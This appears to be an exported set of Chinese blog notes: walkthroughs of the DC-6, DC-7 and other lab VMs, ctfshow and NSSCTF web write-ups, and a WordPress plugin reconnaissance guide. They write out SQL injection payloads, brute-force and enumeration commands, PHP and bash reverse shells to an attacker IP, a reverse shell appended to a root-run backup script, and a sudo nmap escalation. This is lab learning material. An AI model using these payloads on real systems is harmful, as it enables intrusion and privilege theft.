[{"content":"先用nmap对其进行端口扫描：nmap 192.168.11.0/24 发现其ip为192.168.11.147，然后再对其进行全端口扫描并进行指纹识别：nmap -p1-65535 -A 192.168.11.147 识别完后直接去对应的网站看即可： 我的想法是先对其功能进行测试，这里只有一个普通的搜索框架，它告诉我们要用新的方法去尝试不要直接去爆破，但是我在尝试sql等方式无果后想着先试试爆破： wfuzz \u0026ndash;hw 551 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.11.147/search/node?keys=FUZZ 接着试试sql（如上图），其实在我看来它提示我用大写去表示这个or的时候我猜测它是有sql注入的，但是在后续尝试后发现我好像对它的意思理解错了。 在思考无果后我认为是自己的信息收集还不够全面，应该是漏了什么地方，于是去翻找其js文件和网站源码，将一些hiden的功能全部显现出来，但是并没有什么实际效果。然后在翻找其网站的时候突然注意到一个细节： 这下面是有一个@然后跟了一个用户名的，思考前面信息收集所学的知识，网站的作者是有可能将源码放到些知名网站去跟大家讨论的，于是我直接去搜索： 发现这是一个github上的作者，直接顺藤摸瓜： 直接查看其readme文件，看来方向是对了 查看config.php文件，发现关键信息，项目地址https://github.com/Dc7User/staffdb/blob/master/config.php 发现了连接数据库的账号和密码：用户名dc7user和密码MdR3xOgB7#dW，但是在之前端口扫描的时候我们知道它并没有开发3306这个端口，说明它这个账号密码可能是多用的，于是我直接就是去进行ssh连接：ssh dc7user@192.168.11.147 登录成功！ 现在又到了紧张刺激的提权环节，还是老规矩，先把常规配置给找出来，找不到就试试内核溢出！ 但是常见的提权思路并没有任何入口，于是我便查看其目录下的文件，找到一个mbox文件，打开后看到了挺多的信息： 这里全都标注好了，先去查看其数据库备份文件 看到加密后就无心思继续下去了，毕竟还有一个脚本并未查看：cat /opt/scripts/backups.sh 发现其运行的东西还是挺多的，如果能对其脚本进行修改说不定会有提权的方式，但是我在查看其权限的时候发现它是属于root用户的，但是web用户可以对其脚本进行修改，如果我能拿到web权限，直接用它弹个root的命令行不就提权成功了，所以现在的方向是去进行一个权限转移！ 直接去其网站目录进行寻找看能不能找到有用的线索： 发现了一个web的配置文件，直接进行查看： 但是并未发现什么有价值的东西，因此我就再次回到脚本内容进行回看，发现里面有个不认识的命令“drush”，于是便去网上对其进行搜索： 发现其可以对网站的账户进行增删改查的操作： 这里经过测试只有改和删是可以正常使用的，于是我便修改了网站管理员的账号密码： drush user-password admin \u0026ndash;password=123 然后就直接登录即可： 经过对其网站现有的功能测试发现是没用入口点的 然后在/admin/modules/install这发现无法正常上传模块 这不行那不行那就只差最后一个办法了，就是直接启用php filter功能构造一个PHP页面 因为在drupal8版本中作者删除了这个模块所以需要自己手动下载然后去启用它 下载地址：https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 下载成功 然后再去模块中去启用并安装它： 这样你在编辑页面的时候就可以新建一个php的页面了： 然后直接输入反弹代码即可获取web权限： kali中执行：nc -lvvp 5566 然后在网站中构造代码页面：\n\u003c?php system('python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.11.130\",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);''); ?\u003e 但是如果你选择像我上图一样自己构造页面可能会遇到下图所示情况： 就是总是报错，因此我目前的想法是直接去修改它已有的内容，也就是上面图示的welcome toDC-7的文章 直接保存并访问即可，但是还是报错，那是代码的问题还是无法使用php的问题？我直接一个phpinfo()探针一下： 那就是代码的问题了咯，配置个后门 那就换一个命令：\u003c?php exec(\"/bin/bash -c 'bash -i \u003e\u0026 /dev/tcp/192.168.11.130/5566 0\u003e\u00261'\"); ?\u003e 拿下web权限，然后直接去修改直接那个脚本文件，在其后面追加个反弹shell即可：echo \u0026ldquo;/bin/bash -c \u0026lsquo;bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.11.130/9191 0\u0026gt;\u0026amp;1\u0026rsquo;\u0026rdquo; \u0026raquo; backups.sh 不过在修改前得先重开个kali去监听这个端口：nc -lvvp 9191： 换一个试试，开始那个没成功：echo \u0026ldquo;0\u0026lt;\u0026amp;196;exec 196\u0026lt;\u0026gt;/dev/tcp/192.168.11.130/9191; sh \u0026lt;\u0026amp;196 \u0026gt;\u0026amp;196 2\u0026gt;\u0026amp;196\u0026rdquo; \u0026raquo; backups.sh 成功拿到flag\n","date":"2026-11-06T11:16:25+08:00","permalink":"/notes/lab/targets/dc-7/dc7%E9%9D%B6%E6%9C%BA/","title":"DC7靶机"},{"content":" 寻找脚本位置的方式\nphp常见cms总结如上\nhttps://blog.csdn.net/qq_41096035/article/details/145026505?ops_request_misc=\u0026request_id=\u0026biz_id=102\u0026utm_term=dc7%E9%9D%B6%E6%9C%BA\u0026utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-5-145026505.142^v102^pc_search_result_base9\u0026spm=1018.2226.3001.4187 挺好的一篇文章\n","date":"2026-11-06T09:55:03+08:00","permalink":"/notes/lab/targets/dc-7/dc7%E8%BF%87%E7%A8%8B%E4%B8%AD%E9%81%87%E8%A7%81%E7%9A%84%E9%97%AE%E9%A2%98%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E5%BC%8F/","title":"DC7过程中遇见的问题与解决方式"},{"content":"先用nmap去扫描其所在网段：nmap 192.168.11.0/24 然后再对其进行一次全端口扫描：nmap -p1-65535 192.168.11.146 然后现在直接去其网站观察： 发现其网站没有任何的功能点，就是一张图片 我目前的想法是对其进行目录爆破： 收集到的目录还是挺多的 找到了其登录后台 先试试能不能收集其用户名： wpscan \u0026ndash;url http://192.168.11.146/wordpress/wp-login.php \u0026ndash;enumerate u,p,t \u0026ndash;plugins-detection aggressive \u0026ndash;detection-mode aggressive 但是失败了 这个命令到时候可以试试，扫端口的同时进行指纹识别\n目前并没有找到任何切入点，因此认为是自己的信息收集还不全面，可能还有更深层的目录没有被爆破出来，于是就用kali原生的dirb去爆破去目录：dirb http://192.168.11.146 -X .php,.txt,.py,.zip 相比之下发现其多扫出了一些目录“secret.txt” 它是让我们去某个页面去找漏洞参数，通过分析判断我们现在肯定是优先找php后缀的文件漏洞参数，因此我目前的想法是通过wfuzz去爆破index.php文件的参数： wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.11.146/index.php?FUZZ -w:wordlist,指定字典文件 发现有很多word为12的，说明都是错的： 直接利用-hw过滤掉worf为12的看看是否能有结果： wfuzz \u0026ndash;hw 12 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.11.146/index.php?FUZZ 发现其跑出参数file： 然后用提示给我们的location.txt： 它现在又要我们去挖secrettier360这个参数所在处，我们目前挖的是index.php，前面还有个image.php： 你得到了正确的参数 试试是否能包含文件： 成功找到其文件包含漏洞所在地 找到后就得思考怎么利用文件包含漏洞去拿到权限也就是入口点了：1.配合文件上传（没有这个功能）2.日志投毒（可以尝试）3.session条件竞争（难，优先试日志投毒） 但是在日志投毒的时候发现根本包含不到其日志，至于原因也不清楚，不过却有别的发现： 在包含其密码配置文件时发现上图47行所示提示 直接去包含其给的路径目录：/home/saket/password.txt 得到follow_the_ippsec，猜测其为密码，直接去进行ssh连接：ssh saket@192.168.11.146 但是多次尝试都失败了，然后去开始那个wp的登录框试试也是错误的，回想起开始自己在找目录的时候发现了一个发过文章的用户“victor”，于是就猜想会不会是它的密码： 成功拿到后台权限 成功进去后可以先去找两个可写木马文件的地方：主题编辑器和插件编辑器 在看主题编辑器的时候发现了一个secret.php文件的提示： 于是就可以直接在其上面写一个反弹命令将权限弹到我们的kali上面：\u003c?php python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.11.130\",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' ?\u003e 然后去找文件的执行路径，通过查找网上默认路径为 因此直接去访问http://192.168.11.146/wordpress/wp-content/themes/twentynineteen/secret.php即可 但是访问后发现一直错误无法访问 先测试一下是不是文件路径的问题： 发现是可以执行phpinfo()；的，我目前的判断可能是它限制了system的命令，因此我们直接用哥斯拉去连接其后门： 拿到其web权限 先将权限反弹到kali上方便观察： 反弹成功，开始找提权线索，排查完常见的suid等无果后想着去看其版本使用内核溢出提权： 一共俩个本地提权脚本 我选择使用45010.c： 下载完脚本后对其进行编译然后执行 成功拿到root权限 ","date":"2026-11-05T10:06:42+08:00","permalink":"/notes/lab/targets/%E9%A9%AC/%E9%9D%B6%E6%9C%BA/","title":"靶机"},{"content":"地址：https://www.nssctf.cn/problem/5698 题目要求是去找webshell的连接密码，直接去筛选http的流量：\n","date":"2026-11-04T16:05:25+08:00","permalink":"/notes/contest/nssctf/%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/%E9%99%87%E5%89%91%E6%9D%AF-2023-hardweb3/","title":"[陇剑杯 2023] hardweb3"},{"content":"地址：https://www.nssctf.cn/problem/6366 下载后得到一份pcap的流量包，打开并分析： 用过滤器取出http流量： 在流量的最后发现了一个异常文件，判断其为后门文件 直接使用语法：http contains \u0026ldquo;d00r.php\u0026quot;去找关于它的流量 在找的时候发现了一个表面不属于d00r.php的文件如上图光标所示，于是就去查看其请求题里面有什么： 解码出来得知它是用这个php文件创建的后门d00r.php文件 因此得知本题flag为NSSCTF{ViewMore.php}\n本题学会的知识：wiresharke过滤器的语法：http contains \u0026ldquo;POST\u0026rdquo;\n","date":"2026-11-04T15:34:33+08:00","permalink":"/notes/contest/nssctf/%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/%E4%B8%8D%E7%9F%A5%E9%81%93%E5%8F%96%E4%BB%80%E4%B9%88/","title":"不知道取什么："},{"content":"","date":"2026-11-04T14:20:32+08:00","permalink":"/notes/contest/nssctf/web/%E6%9C%AA%E5%91%BD%E5%90%8D/","title":"未命名"},{"content":" 链接地址：https://hexc2.com/laboratory/targets/64?from=/laboratory/categories/30/targets\n","date":"2026-11-04T13:19:08+08:00","permalink":"/notes/emergency/web%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A2%AB%E6%A4%8D%E5%85%A5%E6%8C%96%E7%9F%BF/","title":"web服务器被植入挖矿"},{"content":" 先分析源码，在分析之前我们需要知道一个事情：在PHP中双引号是可以取得变量中的值的；单引号是直接将变量原样输出；反引号是将后门的值当作shell命令去执行。 然后inval()函数可以将里面的值强行转变为整数，sleep()函数会根据括号里面的值进行判断过多少秒才会渲染界面，也就是服务器响应的时长，因此c的值不能输入过大，否则服务器响应时长过长就会爆错。 最主要的是我们得去理解switch这个函数，它会遍历case里面的值，只要没有break，哪怕它匹配到了case的值也会一直循环下去，且会把中途遍历过的case的指令都运行一遍，具体可以见\u0026quot;E:\\仓库\\ctfshowWEB\\做题过程中的知识补充与说明\\web14.docx\u0026quot;\n我们目前的目的是获得$url里面的值，且c的输入值不能过大，因此我们根据switch的穿透特性输入c=3即可获得$url: 直接来到一个查询页面： 通过使用恒等式的不同回显判断出页面存在sql注入： -1//or//true -1//or//false 通过查看源码发现其过滤规则： 使用-1//union//select//group_concat(schema_name)//from//information_schema.schemata爆数据库名： 然后绕过一下限制去爆表名：-1//union//select//group_concat(table_name)from//information_schema.tables//where//table_schema=\u0026lsquo;web\u0026rsquo; 然后绕过爆列名：-1//union//select//group_concat(column_name)//from//information_schema.columns//where//table_schema=\u0026lsquo;web\u0026rsquo;//and//table_name=\u0026lsquo;content\u0026rsquo; -1//union//select//group_concat(password)//from//web.content： 告诉我flag并不在这里，根据它的话回想首页那个被包含的文件 想着直接利用数据库去读取文件：``` -1//union//select//load_file(\u0026rsquo;/var/www/html/secret.php\u0026rsquo;)\n但是他是无回显所以这个方法行不通 通过查看源码后看到了提示 -1//union//select/**/load_file(\u0026rsquo;/real_flag_is_here\u0026rsquo;) ","date":"2026-11-04T10:33:59+08:00","permalink":"/notes/ctf/web-basics/web14/","title":"web14"},{"content":" 是一个文件上传 通过自己的测试判断其是黑名单的后端过滤方式，然后我在上传一个ini文件的时候发现是可以上传的，因此我此时的想法是利用ini文件的性质做一个文件包含后门，下图是制作好的一句话木马文件搭配着user.ini文件： 但是在提交的时候一直告诉我文件过大： 我目前的想法是将文件尽量缩小，经过不断的尝试最后成功上传下图所示文件： 成功执行命令： 直接输入payload：?boqi=print_r(scandir(\u0026quot;./\u0026quot;));查看当前目录下的文件： 然后使用show_source(\u0026ldquo;903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php\u0026rdquo;);查看flag： 做这题时踩的一个坑： 有时候必要乱用短标签\u0026lt;? 因为它是否能被解析成php代码关键看到后台有没有开启解析短标签的功能\n","date":"2026-10-31T17:43:25+08:00","permalink":"/notes/ctf/web-basics/web13/","title":"web13"},{"content":" 看起来是个平平无奇的页面，直接ctrl+U查看源码： 发现有个?cmd的参数，直接在url中输入： 看到了页面源码 直接参考文章吧：https://ctf.show/writeups/1826091\n","date":"2026-10-30T19:12:29+08:00","permalink":"/notes/ctf/web-basics/%E7%BA%A2%E5%8C%85%E9%A2%98%E7%AC%AC%E4%BA%8C%E5%BC%B9/","title":"红包题第二弹"},{"content":" 在查找源码无果后直接对其进行目录爆破： 看到一个好像是命令执行的文件目录，直接去试试： 但是界面并没有dir的任何痕迹，难道是无回显吗，创建一个目录试试：/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=echo \u0026ldquo;furina\u0026rdquo; \u0026raquo; boqi.txt 嗯，经过后面不断的测试才发现它执行的不是系统命令而是php的命令： 本来想用日志投毒，但是总是出错于是就换了别的方式： 在网页源代码中我们发现： 输入命令来查看目录：?cmd=print_r(scandir(\u0026rsquo;./\u0026rsquo;));，页面显示Array ( [0] =\u0026gt; . [1] =\u0026gt; .. [2] =\u0026gt; 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php [3] =\u0026gt; index.php ) 查看php文件：?cmd=show_source(\u0026lsquo;903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php\u0026rsquo;);发现里面有flag\n","date":"2026-10-30T16:21:20+08:00","permalink":"/notes/ctf/web-basics/web12/","title":"web12"},{"content":" 根据原码直接利用它是弱类型比较的空隙删除session并置空密码登陆即可拿到flag\n","date":"2026-10-30T14:33:30+08:00","permalink":"/notes/ctf/web-basics/web11/","title":"web11"},{"content":" 点取消后获得源码： 点击取消按钮 得到源码 代码审计\nreplaceSpecialChar 替换特殊字符为空 忽略大小写 所以不能使用大小写混用绕过\n判断过滤后的字符串和原始字符串是否相等 不相等输出（sql inject error） 所以不能使用双写绕过\n先根据用户名查询\nselect * from user where username = \u0026lsquo;$username\u0026rsquo;\n有结果的话再去比较查询到的密码和输入的密码是否相等\n尝试构造SQL来控制查询到的密码\nselect * from user where username = \u0026rsquo;\u0026rsquo; or 1=1 group by password with rollup #'\npayload：\n\u0026lsquo;or//1=1//group//by//password//with//rollup#\n得到 Flag ","date":"2026-10-30T10:25:55+08:00","permalink":"/notes/ctf/web-basics/web10/","title":"web10"},{"content":" 是一个简单的登录页面，因为前面的关卡基本都是sql注入所以这关我根本就没考虑过使用sql注入，因为我不认为它总是考，所以我直接就尝试了爆破，但是失败了。然后我又尝试去其目录进行爆破，成功爆破出来了一个隐藏目录： 这一看就是源码文件，一去访问果然下载了一个文件，打开就是这题的源码： 直接参考文章https://blog.csdn.net/March97/article/details/81222922 吧\n","date":"2026-10-29T20:22:32+08:00","permalink":"/notes/ctf/web-basics/web9/","title":"web9"},{"content":" 1\n","date":"2026-10-29T17:11:49+08:00","permalink":"/notes/ctf/web-basics/web8/","title":"web8"},{"content":" 进去后感觉是个文件索引的目录，于是点击三个连接看看效果： 可以很明显的发现文章上的url都会有个id来代表我们访问的目录文件，看到这种我能想到的就是存在sql注入和文件包含了，所以现在只需要去判断一下就行了。 开始我想试的是文件包含，输入了：data://text/palin,\u003c?php phpinfo(); ?\u003e后它界面告诉我sql error（这里忘记截图了），于是便知道这里要用到的手段是sql注入，经后续判断它是过滤了空格的，所以我们要改变语句的手法：d=1%09\u0026rsquo;%09order%09by%093 在order by3和4时出现了显示和不显示的情况，所以判断它有3列 然后就是正常的爆库爆表爆字段了： id=1%09\u0026rsquo;%09union%09select%091,database(),user() 数据库名是网页版是啥东西呀 因为是root用户，所以拆测flag应该在其它地方，所以用到了跨库查询：?id=1%09\u0026rsquo;%09union%09select%091,group_concat(schema_name),3%09from%09information_schema.schemata 判断出我们想要的在web7这个数据库名中：爆表名 1%09\u0026rsquo;%09union%09select%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=\u0026ldquo;web7\u0026rdquo; 哇趣，我终于知道为啥开始会有中文了，因为我浏览器启动了实时翻译，哎！ 不说了，开始爆列名：1%09\u0026rsquo;%09union%09select%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_name=\u0026ldquo;flag\u0026rdquo;%09and%09table_schema=\u0026ldquo;web7\u0026rdquo; 最后直接查数据即可：1%09\u0026rsquo;%09union%09select%091,group_concat(flag),3%09from%09web7.flag ","date":"2026-10-29T17:07:21+08:00","permalink":"/notes/ctf/web-basics/web7/","title":"web7"},{"content":" ","date":"2026-10-29T08:58:00+08:00","permalink":"/notes/ctf/web-basics/web6/","title":"web6"},{"content":" 分析题目可知需要v1和v2的md5值相同即可解得flag，但是前面还有个条件就是函数ctype_alpha和is_numeric，直接去查其含义： 由此可以得出本题解出flag的条件为v1的值为字母和v2的值为数字且两变量的md5值相同\n这里可以去参考一些知识点： 可以参考文章：https://blog.csdn.net/weixin_43332695/article/details/119349204 payload:?v1=QNKCDZO\u0026amp;v2=240610708 即可绕过 ","date":"2026-10-29T08:46:31+08:00","permalink":"/notes/ctf/web-basics/web5/","title":"web5"},{"content":" ?url=data://text/plain,\u003c?php system('ls'); ?\u003e 直接用查看发现显示错误 经过自己的测试发现它可能是禁用了php://和data://这些常见的伪协议，但是我在使用http://协议的时候发现是可以正常跳转的，那思路不就来了： 直接在本地服务器创建一个php的脚本代码，然后让其的参数去包含就可以执行我们想要的命令了（但是，在包含的过程中，我发现你直接输入ip地址是没有用的，得输入域名） 脚本代码： 执行结果： 脚本代码： 执行结果： ","date":"2026-10-28T18:42:31+08:00","permalink":"/notes/ctf/web-basics/web4/","title":"web4"},{"content":" 明显是文件包含 开始想着直接使用?url=php://filter/read=convert.base64-encode/resource=flag.php得到flag，结果啥都没显示，可能是因为名字不是这个或者不在当前路径，所以只能换个思路，用data://伪协议去看看本目录下的文件：?url=data://text/plain,\u003c?php system('ls'); ?\u003e 我真求你了，这是啥名字呀 ?url=data://text/plain,\u003c?php system('tac ctf_go_go_go'); ?\u003e ","date":"2026-10-28T18:18:23+08:00","permalink":"/notes/ctf/web-basics/web3/","title":"web3"},{"content":" 来到界面是一个简单的登录框，一般看到这种我们能最先想到的应该就是SQL注入了：1 \u0026rsquo; or 1=1 # 先通过sql语句试试能不能直接登录进去： 发现虽然没有登录进去，但是弹出了上图所示，所以我猜测ctfshow是对方数据库真实存在的一个账户，虽然不知道其密码，但是可以通过它来爆出对方数据库所有的东西，不过在爆之前还是老规矩，先用order by猜测对方有多少列，然后发现order by3的时候还正常显示数据，order by4就没显示了，说明一共只有3列：ctfshow \u0026rsquo; order by 3#; ctfshow \u0026rsquo; order by 4#\n爆数据库名： ctfshow \u0026rsquo; union select 1,database(),3# 数据库名为：web2\n爆表名： ctfshow \u0026rsquo; union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\u0026lsquo;web2\u0026rsquo; #\n我们需要的表名为flag\n爆字段名： ctfshow \u0026rsquo; union select 1,group_concat(column_name),3 from information_schema.columns where table_name=\u0026lsquo;flag\u0026rsquo; and table_schema=\u0026lsquo;web2\u0026rsquo; # ctfshow \u0026rsquo; union select 1,flag,3 from web2.flag # ","date":"2026-10-28T18:05:45+08:00","permalink":"/notes/ctf/web-basics/web2/","title":"web2"},{"content":" 直接ctrl+U查看源码： 发现一串字符，初步判断为base64加密： 解得flag\n","date":"2026-10-28T16:33:53+08:00","permalink":"/notes/ctf/web-basics/%E7%AD%BE%E5%88%B0%E9%A2%98/","title":"签到题："},{"content":"下载地址：https://www.vulnhub.com/entry/dc-6,315/\n配置完靶机后就可以开始用kali进行信息收集了：192.168.11.0/24 再对其进行一个全端口扫描：nmap -p1-65535 192.168.11.145 收集完后就可以去目标网站进行查看了： 在访问的时候突然出现上述所示，不过看到我输入的ip变成了wordy就说明这次报错是没有对其进行域名解析的配置，直接去hosts配置 配置完后就可以正常访问了\n发现网站没有什么其它功能点就用dirsearch对其进行目录爆破： 发现其登录页面/wp-login.php： 到这里我们就可以尝试用wpscan去收集其用户名： wpscan \u0026ndash;url http://wordy/ \u0026ndash;enumerate u,p,t \u0026ndash;plugins-detection aggressive \u0026ndash;detection-mode aggressive 成功枚举出5个用户 然后就可以对其用户进行爆破了 wpscan --url http://wordy/ -P /usr/share/wordlists/rockyou.txt -U user1.txt 爆破得到mark:helpdesk01 直接就可以拿到后台权限 来到后台后就可以探测其功能看能否进行权限提升了\n在寻求上传文件无果后发现网站使用了插件activity monitor： 于是便打算去kali查找其漏洞：searchsploit wordpress activity monitor 搜索到了两个漏洞 我自己想尝试的是python脚本： 直接拿下web权限 然后再靶机执行``` nc -e /bin/bash 192.168.11.130 5566\nkali机执行 nc -lvvp 5566 将权限反弹到kali主机上，然后再执行python -c 'import pty;pty.spawn(\u0026quot;/bin/bash\u0026quot;)' :得到交互式终端 ![](/images/notes/Pasted-image-20261025202937.png) 然后接下来我们就是去进行提到root权限了 find / -perm -4000 -type f 2\u0026gt;/dev/null sudo -l 但是执行上述命令后都没有看到可利用文件 但是在翻阅靶机文件的时候突然看到了别人账户的用户名和密码：/home/mark/stuff/things-to-do.txt` graham - GSo7isUM1D4 直接就进行权限转移 在这个进程下执行sudo -l发现了可执行的脚本： 且在查看权限时发现我们是具有写权限和执行权限的 接下来就是走流程就行了，直接``` echo \u0026lsquo;/bin/bash\u0026rsquo; \u0026raquo; backups.sh 让其通过jens用户去执行： sudo -u jens /home/jens/backups.sh\n然后在此用户下执行sudo -l发现可以使用sudo权限去执行nmap： TF=$(mktemp) echo \u0026lsquo;os.execute(\u0026quot;/bin/sh\u0026quot;)\u0026rsquo; \u0026gt; $TF sudo nmap \u0026ndash;script=$TF 提权成功 ","date":"2026-10-25T21:15:21+08:00","permalink":"/notes/lab/targets/dc-6/dc-6%E9%9D%B6%E6%9C%BA/","title":"DC-6靶机"},{"content":"1.在遇到wordpress搭建的网站后进入后台时怎么判断那些功能是属于插件而非其自带的？ 见：\u0026ldquo;E:\\仓库\\靶场练习\\靶机\\DC-6\\WordPress插件识别方法.md\u0026rdquo;\n","date":"2026-10-25T19:59:56+08:00","permalink":"/notes/lab/targets/dc-6/dc6%E9%9D%B6%E6%9C%BA%E7%9A%84%E9%97%AE%E9%A2%98%E4%B8%8E%E8%A7%A3%E5%86%B3/","title":"DC6靶机的问题与解决"},{"content":"WordPress 插件识别方法\r场景：拿到一个 WordPress 站点，怎么判断哪些功能是插件、插件叫什么、版本多少，从而定位能打的 CVE。\n结论先行：WP 的漏洞绝大多数在插件里。核心现在很难直接打，插件是第一入口。\n一、为什么要先判断插件\r攻击面 现状 WordPress 核心 现代版本很难直接打，多数只做版本探测 插件 绝大多数入口在这里——几万个插件质量参差，历史漏洞海量 主题 次要，但也有文件包含/上传类问题 所以流程永远是：先扒插件 → 拿版本 → 匹配 CVE → 找 EXP。\n二、怎么判断「这是插件」\r2.1 实例：DC-6 的 Activity Monitor\r依据 1：后台 URL 的 page 参数\nhttp://wordy/wp-admin/admin.php?page=plainview_activity_monitor ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ WordPress 后台菜单项的命名规律是 \u0026lt;插件slug\u0026gt;_\u0026lt;功能名\u0026gt;。\n核心功能根本没有这种 page 参数——核心页面都是固定文件名：\nedit.php / post-new.php / users.php / options-general.php / plugins.php / themes.php 凡带 admin.php?page=xxx 的，基本都是插件（或主题）注册的菜单页。\n而且 plainview_activity_monitor 直接就是插件名：Plainview Activity Monitor。\n依据 2：菜单项位置和名字不对\nWordPress 核心菜单是固定 9 项，顺序都不变：\nDashboard → Posts → Media → Pages → Comments → Appearance → Plugins → Users → Tools → Settings DC-6 后台里 \u0026ldquo;Activity monitor\u0026rdquo; 和 \u0026ldquo;Premium Pack\u0026rdquo; 插在 Users 和 Tools 之间，核心不会有这两项。\n依据 3：静态资源路径\n插件加载的 CSS/JS 一定来自 /wp-content/plugins/\u0026lt;slug\u0026gt;/。\n2.2 核心判据表\r观察点 插件 核心 路径前缀 /wp-content/plugins/xxx/ /wp-includes/、/wp-admin/ 主题（≠插件） /wp-content/themes/xxx/ 后台菜单 位置杂乱、名字各异 固定 9 项，顺序不变 后台 URL admin.php?page=\u0026lt;slug\u0026gt; edit.php、users.php（无 page） HTML 注释 常带插件名+版本号 核心只在 generator 里 2.3 最硬的一条判据：路径前缀\r/wp-content/plugins/xxx/ → 插件 /wp-content/themes/xxx/ → 主题 /wp-includes/ → 核心 /wp-admin/ → 核心 三、没有后台账号时怎么扒（最常用场景）\r3.1 命令清单\r# ① 从首页 HTML 薅插件 slug（最有效的一招） curl -s http://target/ | grep -oE \u0026#39;wp-content/plugins/[a-z0-9\\-]+\u0026#39; | sort -u # ② 全站递归薅（爬几个页面更全） curl -s http://target/ | grep -oE \u0026#39;/wp-content/[a-z]+/[a-z0-9\\-]+/\u0026#39; | sort -u # ③ 试目录列表（有些站开了目录浏览） curl -s http://target/wp-content/plugins/ | head -50 # ④ 已知插件 → 取版本号（关键一步） curl -s http://target/wp-content/plugins/\u0026lt;slug\u0026gt;/readme.txt | head -20 # ⑤ 从 JS/CSS 的 ?ver= 参数取版本 curl -s http://target/ | grep -oE \u0026#39;plugins/[a-z0-9\\-]+/[^\u0026#34;]*\\?ver=[0-9.]+\u0026#39; | sort -u # ⑥ generator / 插件注释 curl -s http://target/ | grep -iE \u0026#39;generator|yoast|elementor|wpcf7\u0026#39; # ⑦ robots.txt 有时泄露路径 curl -s http://target/robots.txt 3.2 常见插件的「露馅」特征\r看到这种 说明 class=\u0026quot;wpcf7\u0026quot; Contact Form 7 \u0026lt;!-- This site is optimized with the Yoast SEO plugin v21.5 --\u0026gt; Yoast SEO（带版本号） wp-content/plugins/woocommerce/ WooCommerce \u0026lt;meta name=\u0026quot;generator\u0026quot; content=\u0026quot;Elementor 3.18.2\u0026quot;\u0026gt; Elementor（带版本号） wp-content/plugins/wordfence/ Wordfence（安全插件，注意绕 WAF） wp-content/plugins/akismet/ Akismet 四、有后台账号时（最快）\r插件列表页：/wp-admin/plugins.php —— 直接列出所有插件和版本 任何 admin.php?page=\u0026lt;slug\u0026gt; —— 自定义菜单项 开发者工具 → Sources —— 看加载的 /wp-content/plugins/... admin-ajax.php 的 action 参数 —— 很多插件功能走这里 五、WPScan 标准流程\rKali 自带。这是 WordPress 侦察的正规工具。\n# 被动枚举（快，只看前台泄露的） wpscan --url http://target/ --enumerate vp # 主动枚举插件（慢但全，会去爆破插件目录） wpscan --url http://target/ --enumerate ap --plugins-detection aggressive # 全套（要 API token 才能查漏洞库） wpscan --url http://target/ --api-token \u0026lt;token\u0026gt; \\ --enumerate vp,vt,u,dbe --plugins-detection aggressive # DC-6 实际用的（枚举用户+插件+主题） wpscan --url http://wordy/ --enumerate u,p,t \\ --plugins-detection aggressive --detection-mode aggressive 参数含义：\n参数 枚举什么 vp 有漏洞的插件 ← 最有用 ap 所有插件 vt 有漏洞的主题 u 用户 dbe 数据库导出/备份文件 坑：\nvp 需要 API token（wpscan.com 免费注册，每天 25 次），否则只报\u0026quot;unknown\u0026quot; aggressive 会大量请求，日志里留痕明显，实战注意 枚举出的用户名直接拿去爆破（DC-6 就是这么进的） 六、拿到插件之后：版本 → CVE → EXP\r# ① 先确认版本 curl -s http://target/wp-content/plugins/\u0026lt;slug\u0026gt;/readme.txt | grep -i stable # ② 本地离线漏洞库查 searchsploit wordpress \u0026lt;插件名\u0026gt; searchsploit wordpress activity monitor # DC-6 就是这么查的 # ③ 复制 EXP 到当前目录 searchsploit -m \u0026lt;EDB-ID\u0026gt; # ④ 在线查（要网络） # https://www.exploit-db.com/ # https://wpscan.com/plugin/\u0026lt;slug\u0026gt; 七、优先级：插件 \u0026gt; 主题 \u0026gt; 核心\r发现是 WordPress ↓ curl 首页 → grep wp-content/plugins/ → 拿到插件 slug 列表 ↓ 对每个 slug 读 readme.txt → 拿版本号 ↓ searchsploit \u0026lt;插件名\u0026gt; → 有没有 EXP？ ↓ 有 → 打 没有 → wpscan --enumerate vp 再查一遍 ↓ 还没有 → 转去测：WP 版本自身 / 主题 / 用户爆破 / xmlrpc 放大 记住：插件优先。 WP 核心打不动的情况下，插件是最现实的入口。\n八、DC-6 实战记录\r# 1. hosts 配域名解析（不然访问报错） # wordy → 192.168.11.145 # /etc/hosts 加一行 # 2. 目录爆破发现登录页 # /wp-login.php # 3. wpscan 枚举用户（拿到 5 个） wpscan --url http://wordy/ --enumerate u,p,t \\ --plugins-detection aggressive --detection-mode aggressive # 4. 爆破拿到凭据 wpscan --url http://wordy/ -U user1.txt -P /usr/share/wordlists/rockyou.txt # → mark:helpdesk01 # 5. 进后台，发现插件 activity monitor # URL: /wp-admin/admin.php?page=plainview_activity_monitor # 6. 查漏洞 searchsploit wordpress activity monitor # → 返回 2 条 目标插件：Plainview Activity Monitor\n项 值 插件 slug plainview_activity_monitor 漏洞类型 命令注入（Command Injection） CVE CVE-2018-15877 触发参数 ip 影响版本 20161228 及更早 参考 Packet Storm - Command Injection 漏洞原理：插件在后台提供 ping/查询 IP 的功能，ip 参数未过滤直接拼进系统命令 → 命令注入 → 